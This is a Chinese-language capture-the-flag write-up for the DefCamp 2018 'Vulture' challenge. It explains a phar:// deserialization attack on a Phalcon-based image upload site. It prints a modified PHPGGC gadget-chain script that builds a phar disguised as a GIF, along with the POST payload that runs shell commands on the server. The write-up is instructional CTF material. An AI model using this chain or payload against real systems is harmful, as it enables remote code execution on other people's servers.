Defcamp(DCTF) 2018-Vulture phar反序列化攻擊
前言
這是defcamp ctf 2018 vulture 的題解,使用的方法為利用phar拓展進行PHP反序列化攻擊。
We created an online service where you can upload pictures of vultures (or other birds). Each user has a feed so you can privately enjoy the photos you took of this majestic killing machines :) Target: https://vulture.dctfq18.def.camp/ Author: Anatol
開啟網站後發現是一個圖片留言板一類的東西,使用者可以上傳一張圖片和描述圖片的文字。
經過測試後發現如果選擇不存在的圖片時會報 Image not found
的錯誤。所以這裡很有可能使用了 file_exists
去檢查檔案是否存在。
在知道創宇的一篇 ofollow,noindex">文章 中提到過利用phar進行反序列化攻擊的例子(這裡不再贅述,建議直接看原文。)。而他的利用條件是:
在這道題中,題目的環境都滿足利用條件。
在利用反序列化過程中需要找好可以任意程式碼執行的類,很顯然,以目前的條件我們還得不到這樣一個類。
當我們嘗試訪問一個不存在的頁面時會爆出如下錯誤:
Exception: xxxController handler class cannot be loaded
Google後可以發現這是一個叫 Phalcon
的PHP framework,而網上還有一個利器 PHPGGC: PHP Generic Gadget Chains
,它可以為我們生成ROP Gadget,類似於pwn。
專案地址:https://github.com/ambionics/phpggc
而這個專案裡就含有這個框架的gadget。
接下來我們修改 gadgetchains/Phalcon/RCE/1/chain.php
:
<?php namespace GadgetChain\Phalcon; class RCE1 extends \PHPGGC\GadgetChain\RCE { public $version = '<= 1.2.2'; public $vector = '__wakeup'; public $author = 'Raz0r'; public $informations = ' This chain does not expect parameters, will eval() any code supplied in php://input (i.e. POST data). Requires allow_url_include = true. '; # No parameters expected public $parameters = []; public function generate(array $parameters) { @unlink('phar.phar'); $p = new \Phar('phar.phar'); $p->startBuffering(); $p->setStub("GIF89a<?php xxx; __HALT_COMPILER();?>"); $p->addFromString("test.txt", "test"); $p->setMetadata(new \Phalcon\Logger\Adapter\File()); $p->stopBuffering(); return new \Phalcon\Logger\Adapter\File(); } }
使用 ./phpggc Phalcon/RCE1
得到exp:
可以看到生成的phar檔案變成了GIF。我們將這個檔案上傳上去:
這裡注意到結果是 false
但這並不影響我們使用,實際上已經上傳成功了。
接著根據phpggc的提示:
This chain does not expect parameters, will eval() any code supplied in php://input (i.e. POST data). Requires allow_url_include = true.
所以我們只需在post body裡寫命令執行的程式碼即可:
<?php die(`ls -la`); /*ℑ=phar://uploads/5bb0ca3725e63.gif&text=123
這裡注意需要在 image
的前面加 &
,不然會造成錯誤。接著我們直接cat flag即可。